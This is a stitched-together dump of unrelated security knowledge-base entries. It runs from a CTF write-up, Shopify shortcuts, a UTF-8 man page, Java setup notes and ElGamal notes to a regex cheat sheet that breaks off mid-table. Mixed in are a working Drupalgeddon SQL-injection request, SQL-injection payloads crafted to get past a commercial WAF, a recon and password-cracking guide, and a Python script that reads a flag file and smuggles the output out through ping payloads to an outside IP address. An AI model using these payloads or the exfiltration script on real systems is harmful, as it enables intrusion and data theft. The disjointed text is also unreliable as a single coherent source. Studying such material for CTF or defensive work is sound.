一个好WAF不是吹出来的,是实践检验出来的。研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要仅仅停留在正则表达式,基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。
sec-knowleage
# Programming02, PPC In this challenge there is a hypothetical pinpad that looks like this: ``` 123 456 789 *0# ``` We have to count the number of unique passwords that: - end with `8`, `*` or `#` - every character is reachable from the previous one using a chess knight moves (for example, after `1` there can only be `6` or `8`) We are also supposed to give the result modulo `10**39`, and the maximum password length may be `10**16` or so The obvious solution is recursive bruteforce: ``` f(_, 1) = 1 f(1, n) = f(6, n-1) + f(8, n-1) f(2, n) = f(7, n-1) + f(9, n-1) f(3, n) = f(4, n-1) + f(8, n-1) f(4, n) = f(3, n-1) + f(9, n-1) + f(0, n-1) ... ``` But that's waaay to slow, even for n <= `10**2` not to mention `10**16`. We could improve it with memoisation up to maybe `10**8`, but that's still way to slow. To really solve this challenge we have to reduce the complexity to something sublinear. Fortunately, we can use the very old programming trick to do this. First, let's simplify the challenge (that's not technically required but makes the code nicer). Most of the characters on the pinpad are isomorphic: ``` ABA CDC CDC ABA ``` Characters with the same letter "behave" in the same way. List of possible transitions is: ``` A -> [C, D] B -> [C, C] C -> [A, C, B] D -> [A, A] ``` We can represent this as a transition matrix (in `Zn(10**39)`, because we're supposed to give result modulo `10**39`): ``` R = Integers(10**39) mat = Matrix(R, [ [0, 0, 1, 2], [0, 0, 1, 0], [1, 2, 1, 0], [1, 0, 0, 0], ]) ``` And the starting vector is (the list of possible endings for 1 character passwords): ``` start = vector(R, [2, 0, 0, 1]) ``` To get list of possible endings for 2 character password, we can multiply it by our matrix: ``` pass2char = mat * start print "number of possible passwords with length 2: ", sum(pass2char) pass3char = mat * pass2char print "number of possible passwords with length 3: ", sum(pass3char) ``` Now, this is still linear. But matrix exponentation isn't (remember fastpow), so we can just: ``` passNchar = sum((mat ^ (n-1)) * start ``` The final solution in sage is (minus server commmunication code): ```python R = Integers(10**39) start = vector(R, [2, 0, 0, 1]) mat = Matrix(R, [ [0, 0, 1, 2], [0, 0, 1, 0], [1, 2, 1, 0], [1, 0, 0, 0], ]) for i in range(1, 20): print int(sum((mat ^ i) * start)) ```
sec-knowleage
--- title: Shopify date: 2022-11-23 16:23:31.704478 background: bg-[#8bbb55] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 50 keyboard shortcuts found on the Shopify website --- Keyboard Shortcuts ------------------ ### General Shortcuts Shortcut | Action ---|--- `?` | Keyboard help `S` | Focus search bar `F` | Focus filter bar `B` `Y` `E` | Log out `M` `E` | Your profile `O` `S` | Open the store switcher {.shortcuts} ### Adding Items Shortcut | Action ---|--- `A` `P` | Add product `A` `C` | Add collection `A` `D` | Add discount `A` `O` | Add order `A` `U` | Add customer `A` `B` | Add blog post `A` `L` | Add blog `A` `G` | Add page {.shortcuts} ### Admin Panel I Shortcut | Action ---|--- `G` `H` | Go to home `G` `P` `P` | Go to products `G` `N` | Go to analytics `G` `D` | Go to discounts `G` `A` | Go to apps `G` `B` `C` | Go to abandoned checkouts `G` `P` `I` | Go to products, inventory `G` `P` `G` | Go to products, gift cards `G` `W` `B` | Go to online store, blog posts `G` `W` `T` | Go to online store, themes `G` `W` `D` | Go to online store, domains `G` `T` `L` | Go to settings, locations {.shortcuts} ### Admin Panel II Shortcut | Action ---|--- `G` `S` `P` | Go to settings, payments `G` `S` `S` | Go to settings, shipping `G` `S` `N` | Go to settings, notifications `G` `S` `F` | Go to settings, files `G` `S` `W` | Go to settings, online store `G` `S` `L` | Go to settings, sales channels `G` `O` | Go to orders `G` `C` | Go to customers `G` `M` | Go to marketing `G` `L` | Go to sales channels `G` `S` | Go to settings `G` `P` `T` | Go to products, transfers `G` `P` `C` | Go to products, collections {.shortcuts} ### Admin Panel III Shortcut | Action ---|--- `G` `W` `O` | Go to online store, overview `G` `W` `P` | Go to online store, pages `G` `W` `N` | Go to line store, navigation `G` `T` `O` | Go to point of sale, overview `G` `S` `G` | Go to settings, general `G` `S` `C` | Go to settings, checkout `G` `S` `X` | Go to settings, taxes `G` `S` `I` | Go to settings, gift cards `G` `S` `A` | Go to settings, account `G` `S` `T` | Go to settings, point of sale `G` `S` `B` | Go to settings, billing {.shortcuts} Also see -------- - [Keyboard shortcuts for Shopify](https://help.shopify.com/en/manual/productivity-tools/keyboard-shortcuts) _(help.shopify.com)_
sec-knowleage
.\" Copyright (C) Markus Kuhn, 1996 .\" 中文版 Copyright (c) Bill Pan 和 www.LinuxForum.net .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .\" 1995-11-26 Markus Kuhn .\" First version written .\" .TH UTF-8 7 "1995-11-26" "Linux" "Linux Programmer's Manual" .SH NAME UTF-8 \- ASCII 兼容的多字节 Unicode 编码 .SH 描述 The .B Unicode 字符集使用的是 16 位(双字节)码。最普遍的 Unicode 编码方法( .BR UCS-2 ) 由一个 16 位双字序列组成。 这样的字符串中包括了的一些如‘\\0’或‘/’这样的在文件名中或者是在 C 库函数中具有特殊意义的字符。 另外,如果没有做重大的修正的话,大部分操作 ASCII 码文件的 UNIX 工具不能够正确识别 16 位的字符。因此, .B UCS-2 对于 .B Unicode 的文件名、文本文件、环境变量等等来说并不是一种合适的外部编码方式。 .BR "ISO 10646 Universal Character Set (UCS)" , 是 Unicode 的超集,甚至使用了 31 位编码方式, 另外还有使用 32 编码的 UCS-4 也有同样上述的问题。 .B UCS-4 而用 .B UTF-8 对 .B Unicode .B UCS 编码 就不会存在这样的问题。所以,UTF-8 很明显的是在 UNIX 类操作系统下的 .B Unicode 字符集的解决方案。 .SH 属性 .B UTF-8 编码具有以下优良属性: .TP 0.2i * .B UCS 字符从 0x00000000 到 0x0000007f (传统的 .B US-ASCII 字符)简单地编码为字节 0x00 到 0x7f (与 ASCII 码兼容)。 这意味着只包含 7 位 ASCII 字符的文件和字符串在 .B ASCII 和 .BR UTF-8 . 编码方式下是完全一样的。 .TP * 所有大于 0x7f 的 .B UCS 字符被编码成为多字节序列。该序列全部是由 0x80 到 0fd 的字符组成, 这样就不会有标准 ASCII 字符会 被作为某个字的一个部分这种现象出现, 对于‘\\0’和‘\’这样的特殊字符来说也就不会有问题了。 .TP * 保留了 .B UCS-4 字典中的字节串的排列顺序。 .TP * 所有 2^32 次方的 UCS 码都能够使用 .BR UTF-8 来进行编码。 .TP * 0xfe 和 0xff 两个字符在 .B UTF-8 中不会被用到。 .TP * 表示非 ASCII 码的 .B UCS 多字节串的开始字符总是 0xc0 到 0xfd 之间的字符,并会指出该串的长度。 多字节串的其他字符都是 0x80 到 0xbf 之间的字符。 这使得再同步非常简单,并令编码是无态的, 丢字节现象也不容易发生。 .TP * 用 .B UTF-8 编码的 .B UCS 字符可以增加到 6 个字节的长度。而 .B Unicode 只能增加到 3 个字节长。由于 Linux 只使用 16 位的 .B Unicode , .BR UCS 的子集。所以在 Linux 下, .B UTF-8 多字节串长度最多不会超过三个字节。 .SH 编码方式 下面的字节串用来表示一个字符。用什么串依照该字符在 UCS 编码中的序号来定: .TP 0.4i 0x00000000 - 0x0000007F: .RI 0xxxxxxx .TP 0x00000080 - 0x000007FF: .RI 110xxxxx .RI 10xxxxxx .TP 0x00000800 - 0x0000FFFF: .RI 1110xxxx .RI 10xxxxxx .RI 10xxxxxx .TP 0x00010000 - 0x001FFFFF: .RI 11110xxx .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .TP 0x00200000 - 0x03FFFFFF: .RI 111110xx .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .TP 0x04000000 - 0x7FFFFFFF: .RI 1111110x .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .RI 10xxxxxx .PP 这里 .I xxx 的位置二进制位形式的字符编码填入。 只用最短的那个足够表达一个字符编码数的多字节串。 .SH 举例说明 .B Unicode 字符 0xa9 = 1010 1001 (版权所有的符号) 在 UTF-8 中被编码为: .PP .RS 11000010 10101001 = 0xc2 0xa9 .RE .PP 字符0x2260 = 0010 0010 0110 0000 (“不等于”符号)被编码为: .PP .RS 11100010 10001001 10100000 = 0xe2 0x89 0xa0 .RE .SH 遵循标准 ISO 10646, Unicode 1.1, XPG4, Plan 9. .SH 作者 Markus Kuhn .SH 参考 .BR unicode (7) .SH "[中文版维护人]" .B billpan <billpan@yeah.net> .SH "[中文版最新更新]" .BR 2000/11/09 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# A practical security guide for web developers (Work in progress) ### The intended audience Security issues happen for two reasons - 1. Developers who have just started and cannot really tell a difference between using MD5 or bcrypt. 2. Developers who know stuff but forget/ignore them. Our detailed explanations should help the first type while we hope our checklist helps the second one create more secure systems. This is by no means a comprehensive guide, it just covers stuff based on the most common issues we have discovered in the past. ### Contents 1. [The Security Checklist](security-checklist.md) 2. [What can go wrong?](what-can-go-wrong.md) 3. [Securely transporting stuff: HTTPS explained](https.md) 4. Authentication: I am who I say I am 4.1 Form based authentication 4.2 Basic authentication 4.3 One is not enough, 2 factor, 3 factor, .... 4.4 Why use insecure text messages? Introducing HOTP & TOTP 4.5 Handling password resets 5. Authorization: What am I allowed to do? 5.1 Token based Authorization 5.2 OAuth & OAuth2 5.3 JWT 6. Data Validation and Sanitation: Never trust user input 6.1 Validating and Sanitizing Inputs 6.2 Sanitizing Outputs 6.3 Cross Site Scripting 6.4 Injection Attacks 6.5 User uploads 6.6 Tamper-proof user inputs 7. Plaintext != Encoding != Encryption != Hashing 7.1 Common encoding schemes 7.2 Encryption 7.3 Hashing & One way functions 7.4 Hashing speeds cheatsheet 8. Passwords: dadada, 123456 and cute@123 8.1 Password policies 8.2 Storing passwords 8.3 Life without passwords 9. Public Key Cryptography 10. Sessions: Remember me, please 10.1 Where to save state? 10.2 Invalidating sessions 10.3 Cookie monster & you 11. Fixing security, one header at a time 11.1 Secure web headers 11.2 Data integrity check for 3rd party code 11.3 Certificate Pinning 12. Configuration mistakes 12.1 Provisioning in cloud: Ports, Shodan & AWS 12.2 Honey, you left the debug mode on 12.3 Logging (or not logging) 12.4 Monitoring 12.5 Principle of least privilege 12.6 Rate limiting & Captchas 12.7 Storing project secrets and passwords in a file 12.8 DNS: Of subdomains and forgotten pet-projects 12.9 Patching & Updates 13. Attacks: When the bad guys arrive 13.1 Clickjacking 13.2 Cross Site Request Forgery 13.3 Denial of Service 13.4 Server Side Request Forgery 14. [Stats about vulnerabilities discovered in Internet Companies](vulnerabilities-stats.md) 15. On reinventing the wheel, and making it square 15.1 Security libraries and packages for Python 15.2 Security libraries and packages for Node/JS 15.3 Learning resources 16. Maintaining a good security hygiene 17. Security Vs Usability 18. Back to Square 1: The Security Checklist explained ### Who are we? We are full stack developers who just grew tired of watching how developers were lowering the barrier to call something a hack by writing unsecure code. In the past six months, we have prevented leaks of more than 15 million credit card details, personal details of over 45 million users and potentially saved companies from shutting down. Recently, we discovered an issue that could result in system takeover and data leak in a bitcoin institution. We have helped several startups secure their systems, most of them for free, sometimes without even getting a thank you in response :) *If you disagree with something or find a bug please open an issue or file a PR. Alternatively, you can talk to us on hello@fallible.co*
sec-knowleage
# Drupal < 7.32 "Drupalgeddon" SQL Injection Vulnerability (CVE-2014-3704) [中文版本(Chinese version)](README.zh-cn.md) Drupal is a free and open-source web content management framework written in PHP and distributed under the GNU General Public License. The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. ## Vulnerable Environment Execute the following command to start a Drupal 7.31. ``` docker compose up -d ``` After the server is started, browse ``http://your-ip:8080`` to see the Drupal installation wizard, and use the default configuration to install it. Note that the Mysql database name is ``drupal``, the database username and password is ``root``, and the address is ``mysql``: ![](1.png) After the installation is complete, browse the home page. ![](2.png) ## POC The SQL injection does not require authentication and can execute malicious SQL statements by sending the following request. ``` POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a ``` As can be seen, the SQL statement reports an error message with user data. ![](3.png)
sec-knowleage
# Advertisement (web, 96 solved, 66p) ``` This platform is under protection. DO NOT hack it. ``` This was supposed to be a `sanity flag`, but it actually took us more time to get this one, than some `real` challenges. Fun part is that we noticed the `vulnerability` very fast, but we didn't realise it's the `attack vector`. Once you log-in to the scoreboard you get an interesting cookie `uid` with value set to your `login`. You can change it to something else, and it will be displayed on the page. The goal of the challenge was to change it to something malicious - for example `xss` or `sqli` and in such case the page would display the flag: `rwctf{SafeLine_1s_watch1ng_uuu}`
sec-knowleage
# 0x00 简单and探索 首先都是来测试下 and的绕过 ``` and 不拦截 and 1 拦截 and a 不拦截 and 'a' 不拦截 and 'a' > < = 拦截 ``` 差不多知道他的规则了 绕过来就很简单了 ``` mysql> select 'a'-0; +-------+ | 'a'-0 | +-------+ | 0 | +-------+ 1 row in set, 1 warning (0.00 sec) mysql> select 'a'+1; +-------+ | 'a'+1 | +-------+ | 1 | +-------+ 1 row in set, 1 warning (0.00 sec) mysql> select 'a'|1; +-------+ | 'a'|1 | +-------+ | 1 | +-------+ 1 row in set, 1 warning (0.00 sec) and 'a'-0 不拦截 and 'a'|1 不拦截 ``` # 0x01 我与云锁有个约会 早期云锁绕过非常简单,只需要在post 和 get 同时提交数据 他会只检测post的内容,很轻松的绕过,但是更新后云锁也是很多人谈之色变的。 以下内容都是把云锁的增强型防护开启 1. 简单的布尔盲注 ``` and strcmp((substr((select user/**/()),2,1)),'0') ``` 生僻函数绕过 这里比较难的点其实也在from,但是比云盾好点,毕竟可以用到注释 ``` http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select from),2,1)),'0')-- + 拦截 http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select /*from*/),2,1)),'0')-- + 不拦截 ``` 看到这两条语句其实我们可以清楚的知道`/**/` 是我们可以利用的点,结合前面的知识我们只需要把我们的from放在注释里面然后把注释不起作用就OK ``` http://192.168.130.135/Less-1/?id=1' and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- + ``` ![mysql](./img/2.5.1.png) 2. 时间盲注 时间盲注换换就行 ``` http://192.168.130.135/Less-1/?id=1' and if((strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')),1,sleep(5))-- + ``` 3. 报错注入 ``` http://192.168.130.135/Less-1/?id=1' and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- + ``` 其他的自己探索吧,bypass也就一个知识量和思路的结合 ![mysql](./img/2.5.2.png) # 0x02 文末 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
# m00nwalk2 Forensics, 300 points ## Description: > Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. ## Solution: This is a follow-up challenge to [m00nwalk](m00nwalk.md). We receive the same transmission as before, and three clues: ```console root@kali:/media/sf_CTFs/pico/m00nwalk2# ls *.wav clue1.wav clue2.wav clue3.wav message.wav root@kali:/media/sf_CTFs/pico/m00nwalk2# diff message.wav ../m00nwalk/message.wav root@kali:/media/sf_CTFs/pico/m00nwalk2# ``` The decode process is the same as before, with the single difference of having to chose "Auto" as the mode, instead of "Scottie 1". ![](images/m00nwalk2.png) We get three clues: ![](images/clue1.png) ![](images/clue2.png) ![](images/clue3.png) Searching for "Alan Eliasen the Future Boy" brings us to [this page](https://futureboy.us/stegano/), which talks about Steganography Tools. > These pages use the steghide program to perform steganography, and the files generated are fully compatible with steghide. So, let's use `steghide` to try and recover a hidden message from the original file: ```console root@kali:/media/sf_CTFs/pico/m00nwalk2# steghide extract -sf message.wav -p hidden_stegosaurus wrote extracted data to "steganopayload12154.txt". root@kali:/media/sf_CTFs/pico/m00nwalk2# cat steganopayload12154.txt picoCTF{the_answer_lies_hidden_in_plain_sight} ```
sec-knowleage
# 安装与使用 --- **下载安装包** 先下载安装 JDK,访问 oracle 官网下载 https://www.oracle.com/java/technologies/javase-downloads.html **设置环境变量** 安装完 JDK 后,需要设置一个 JAVA_HOME 的环境变量,它指向 JDK 的安装目录。在 Windows 下,它是安装目录,类似: ``` C:\Program Files\Java\jdk-14.0.1 ``` 新建 JAVA_HOME ``` C:\Program Files\Java\jdk-14.0.1(jdk目录路径) ``` 把 JAVA_HOME 的 bin 目录附加到系统环境变量 PATH 上。它长这样: ``` %JAVA_HOME%\bin ``` 打开 cmd ``` java -version javac -version ``` --- **JDK 目录** 在 JAVA_HOME 的 bin 目录下找到很多可执行文件: - java:这个可执行程序其实就是 JVM,运行 Java 程序,就是启动 JVM,然后让 JVM 执行指定的编译后的代码; - javac:这是 Java 的编译器,它用于把 Java 源码文件(以 .java 后缀结尾)编译为 Java 字节码文件(以 .class 后缀结尾); - jar:用于把一组 .class 文件打包成一个 .jar 文件,便于发布; - javadoc:用于从 Java 源码中自动提取注释并生成文档; - jdb:Java 调试器,用于开发阶段的运行调试。 --- **写一个 Java 程序运行测试** ```java public class Hello { public static void main(String[] args) { System.out.println("Hello, world!"); } } ``` 在一个 Java 程序中,你总能找到一个类似: ```java public class Hello { ... } ``` 的定义,这个定义被称为 class(类),这里的类名是 Hello,大小写敏感,class 用来定义一个类,public 表示这个类是公开的,public、class 都是 Java 的关键字,必须小写,Hello 是类的名字,按照习惯,首字母 H 要大写。而花括号 `{}` 中间则是类的定义。 注意到类的定义中,我们定义了一个名为 main 的方法: ```java public static void main(String[] args) { ... } ``` 方法是可执行的代码块,一个方法除了方法名 `main`,还有用 `()` 括起来的方法参数,这里的 `main` 方法有一个参数,参数类型是 `String[]`,参数名是 `args`,`public`、`static` 用来修饰方法,这里表示它是一个公开的静态方法,`void` 是方法的返回类型,而花括号 `{}` 中间的就是方法的代码。 方法的代码每一行用 `;` 结束,这里只有一行代码,就是: ```java System.out.println("Hello, world!"); ``` 它用来打印一个字符串到屏幕上。 Java 规定,某个类定义的 `public static void main(String[] args)` 是 Java 程序的固定入口方法,因此,Java 程序总是从 main 方法开始执行。 注意到 Java 源码的缩进不是必须的,但是用缩进后,格式好看,很容易看出代码块的开始和结束,缩进一般是4个空格或者一个 tab。 最后,当我们把代码保存为文件时,文件名必须是 Hello.java,而且文件名也要注意大小写,因为要和我们定义的类名 Hello 完全保持一致。 --- **Java 程序如何运行** Java 源码本质上是一个文本文件,我们需要先用 javac 把 Hello.java 编译成字节码文件 Hello.class,然后,用 java 命令执行这个字节码文件. 因此,可执行文件 javac 是编译器,而可执行文件 java 就是虚拟机。 在保存 Hello.java 的目录下执行命令 ``` javac Hello.java ``` 如果源代码无误,上述命令不会有任何输出,而当前目录下会产生一个 Hello.class 文件 ``` $ ls Hello.class Hello.java ``` 第二步,执行 Hello.class,使用命令 java Hello ``` $ java Hello Hello, world! ``` 注意:给虚拟机传递的参数 Hello 是我们定义的类名,虚拟机自动查找对应的 class 文件并执行。 直接运行 java Hello.java 也是可以的,这是 Java 11 新增的一个功能,它可以直接运行一个单文件源码 ``` java Hello.java ``` 需要注意的是,在实际项目中,单个不依赖第三方库的 Java 源码是非常罕见的,所以,绝大多数情况下,我们无法直接运行一个 Java 源码文件,原因是它需要依赖其他的库。 --- **Source & Reference** - [java环境变量配置 - zhanghongxian - 博客园](https://www.cnblogs.com/zhanghongxian666/p/11149104.html) - [安装JDK - 廖雪峰的官方网站](https://www.liaoxuefeng.com/wiki/1252599548343744/1280507291631649)
sec-knowleage
### ElGamal概述 ElGamal算法的安全性是基于求解离散对数问题的困难性,于1984年提出,也是一种双钥密码体制,既可以用于加密又可用于数字签名。 如果我们假设p是至少是160位的十进制素数,**并且p-1有大素因子**,此外g是 $Z_p^*$ 的生成元,并且 $y \in Z_p^*$ 。那么如何找到一个唯一的整数x($0\leq x \leq p-2$) ,满足$g^x \equiv y \bmod p$ 在算法上是困难的,这里将x记为$x=log_gy$ 。 ### ElGamal密钥生成 基本步骤如下 1. 选取一个足够大的素数p,以便于在$Z_p$ 上求解离散对数问题是困难的。 2. 选取$Z_p^*$ 的生成元g。 3. 随机选取整数k,$0\leq k \leq p-2$ ,并计算$g^k \equiv y \bmod p$ 。 其中私钥为{k},公钥为{p,g,y} 。 ### ElGamal加密 A选取随机数$r \in Z_{p-1}$ ,对明文加密$E_k(m,r)=(y_1,y_2)$ 。其中$y_1 \equiv g^r \bmod p$ ,$y_2 \equiv my^r \bmod p$ 。 ### ElGamal解密 $D_k(y_1,y_2)=y_2(y_1^k)^{-1} \bmod p \equiv m(g^k)^r(g^{rk})^{-1} \equiv m \bmod p$ 。
sec-knowleage
原文 by wooyun wiki ## 1.网络路径扫描 * 服务器IP段遍历目录 [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) [OpenDoor](https://github.com/stanislav-web/OpenDoor) * 子域名定期收集 (Layer, [subDomainBrute.py](https://github.com/lijiejie/subDomainsBrute)) * 常见的子域名前缀 oa、zabbix、nagios、cacti、erp、sap、crm * 常见的管理后台路径关键字 axis2、solr、resin、hudson、jenkins、zenoss、splunk * 网站地图(产品大全--新上线) * 页面报错导致物理路径泄露(可以把类似 action=xx 的值替换成不存在的val,可能导致出错) ## 2.开发环境配置文件([BBScan](https://github.com/lijiejie/BBScan)、[weakfilescan](https://github.com/ring04h/weakfilescan)) * svn /.svn/entries * git /.git/config * DS_Store 是MAC中用来存储这个文件夹的显示属性的 /.DS_store * WEB-INF /WEB-INF/web.xml(1个项目有1个WEB-INF目录,WEB-INF是要放在项目根目录下的,但需要限制访问) * JetBrains /.idea/workspace.xml * .bashrc .bash_history .bash_profile .bash_logout bash相关文件 * error.log access.log .mysql_history 访问日志以及mysql操作日志 * github 上项目泄漏邮箱帐号密码(通过公司部署在外网的outlook web app 可以直接登录内部邮箱) SVN导致的漏洞主要有两类: - SVN未设置密码并允许匿名访问。 - 发布代码时使用了SVN co并且未限制对服务器上的.svn文件夹的访问。 SVN未设置密码并允许匿名访问将导致重要的源代码、数据库连接信息和服务器配置信息等敏感信息泄露,进而可能将导致服务器沦陷。 发布代码时使用了SVN co时服务器将导出一个带.svn文件夹的目录树,.svn文件夹中有包含了用于版本信息追踪的“entries”文件。如此时未限制对服务器上的.svn文件夹的访问便可被用于摸清站点结构。svn更新至1.7+ `.svn/entries`目录就不包含文件目录列表了。 更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),类似 `/.svn/pristine/bd/bda5088fa8e29d1bxxxxxxxxxxxxx.svn-base` 尝试请求 `*.php.svn-base`, 如果服务器没有当成php 做解析,黑客则可以直接获得文件源代码。如果被当作 php 解析了,可能看到php错误信息(看到真实路径)或内容为空白,存在文件解析漏洞,找地方上传 xxx.php.gif 也许就可以直接得到webshell了。 WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。一般情况,jsp引擎默认都是禁止客户端访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),这就是漏洞产生的原因。WEB-INF下某目录放着编译后的.class文件,经反编译可能造成源码泄漏。 ## 3.文件下载 * 能把脚本代码文件下载的条件,比如 nginx 没有启用 fastcgi 来解析 php,那么访问 php 文件将会直接下载文件,即造成源码泄露;或者apache sh 等脚本没有放在设定的 cgi-script 目录内,也会直接下载。注意:linux 操作系统对大小写敏感,windows/OS X 不敏感。 * 对于可下载压缩包的探测,自动化角度来说,更多地是看返回的Content-Type 头,但会出现不少误报,比如在返回头命中的情况下(e.g application/x-compress)返回的是HTML页面。注意加上 Range:bytes=0-9999 请求头,避免压缩包太大,只取返回的部分数据即可。 ## 4.关于服务器的host绑定的不安全因素 很多网站为了方便管理和节省服务器成本,将内网管理站点和外网站点放置在同一服务器下,使用一机多站来进行隔离.很多情况下一台服务器安装两块网卡,分别接入外网和内网,方便公网访问公开站点,内网访问管理站点.并绑定host. 例如: xxx.com为公开站点,并且指向IP为公网网卡. admin.xxx.com为管理站点,并且指向内网网卡. 看上去好像管理站点admin.xxx.com必须在内网才能访问但是却忽略了host绑定的问题. 但是当我们将外网IP地址强制绑定到admin.xxx.com的时候web服务器又没有做来源检查,那么我们就可以通过外网访问到本来应该只有内网才能访问的管理站点了.并且由于是内网站点很多情况下管理员为了方便都是弱密码,或者直接未授权访问等 ## 5.暴力破解 * UCenter 默认口令 * WordPress 用户密码爆破 * 无验证码/验证码设计缺陷(多次登录不变,只有几个值,且不会失效) * 没有登录失败次数限制(即使有限制,也只是说对一个用户的尝试限制,如果我们一次性跑多个用户, 每个用户只尝试下限值,则不会触发防护,而且可能可以爆破出一些用户的密码) * 对于远程服务需要合适的字典档或者结合对方的一些敏感信息来生成字典档,通过程序不断遍历字典档的用户名密码来尝试 * 对于本地程序需要 ollydbg, winhex, ida, uedit32 等逆向和二进制修改工具的配合 * 对于md5加密串的破解,需要借助一些数据库如 cmd5.com、somd5.com,或者借助高性能并发计算设备破解,比如多路GPU,http://hashcat.net/, oclHashcat ``` hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型 hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型 ``` * John the Ripper除了能够破解linux 外,还能破解多种格式的密码。 ``` Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt John –format =mysql-sha1 hashes.txt john --list=formats | grep mysql //查看支持mysql密码破解的算法 ``` 在加密算法的选择和使用上,有以下最佳实践: * 不要使用ECB模式; * 不要使用流密码(比如RC4); * 使用HMAC-SHA1代替MD5(甚至是代替SHA1); * 不要使用相同的key做不同的事情; * salts与IV 需要随机产生; * 不要自己实现加密算法,尽量使用安全专家已经实现好的库; * 不要依赖系统的保密性; 当你不知道如何选择时,有 如下建议: * 使用CBC 模式的AES256 用于加密; * 使用 HMAC-SHA512 用于完整性检查; * 使用带salt 的SHA-256 或 SHA-512 用于 Hashing; ## Reference [2.5代指纹追踪技术—跨浏览器指纹识别](https://mp.weixin.qq.com/s?__biz=MzIzODQxMjM2NQ==&mid=2247483953&idx=1&sn=7fb23e8b7367908c3291874d90b2f526&chksm=e938f513de4f7c056da0c947b5d790a4a534a68ab3ce2ac871c2584f4596ad3f948c7883eeb4&mpshare=1&scene=1&srcid=07070P2FodKKYpDHvlfC2wyP#rd)
sec-knowleage
import subprocess, binascii s=subprocess.check_output("strace /read_flag", shell=True) h=binascii.hexlify(s[:16]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) h=binascii.hexlify(s[16:32]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) h=binascii.hexlify(s[32:48]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) h=binascii.hexlify(s[48:64]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) h=binascii.hexlify(s[64:80]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True) h=binascii.hexlify(s[80:96]) subprocess.check_output('ping -c 1 -p '+h+' 192.168.204.106', shell=True)
sec-knowleage
--- title: RegEX date: 2020-11-25 18:28:43 background: bg-[#e56d2d] tags: - regular expression - regexp - pattern categories: - Toolkit intro: | A quick reference for regular expressions (regex), including symbols, ranges, grouping, assertions and some sample patterns to get you started. plugins: - copyCode --- Getting Started -------- ### Introduction This is a quick cheat sheet to getting started with regular expressions. - [Regex in Python](#regex-in-python) _(quickref.me)_ - [Regex in JavaScript](#regex-in-javascript) _(quickref.me)_ - [Regex in PHP](#regex-in-php) _(quickref.me)_ - [Regex in Java](#regex-in-java) _(quickref.me)_ - [Regex in MySQL](#regex-in-mysql) _(quickref.me)_ - [Regex in Vim](/vim#search-and-replace) _(quickref.me)_ - [Regex in Emacs](/emacs#search) _(quickref.me)_ - [Online regex tester](https://regex101.com/) _(regex101.com)_ {.cols-2 .marker-round} ### Character Classes | Pattern | Description | |---------------|-----------------------------------------------| | `[abc]` | A single character of: a, b or c | | `[^abc]` | A character except: a, b or c | | `[a-z]` | A character in the range: a-z | | `[^a-z]` | A character not in the range: a-z | | `[0-9]` | A digit in the range: 0-9 | | `[a-zA-Z]` | A character in the range:<br>a-z or A-Z | | `[a-zA-Z0-9]` | A character in the range: <br>a-z, A-Z or 0-9 | ### Quantifiers | Pattern | Description | |---------|-------------------| | `a?` | Zero or one of a | | `a*` | Zero or more of a | | `a+` | One or more of a | |`[0-9]+` | One or more of 0-9| |`a{3}` | Exactly 3 of a| |`a{3,}` | 3 or more of a| |`a{3,6}` | Between 3 and 6 of a| |`a*` | 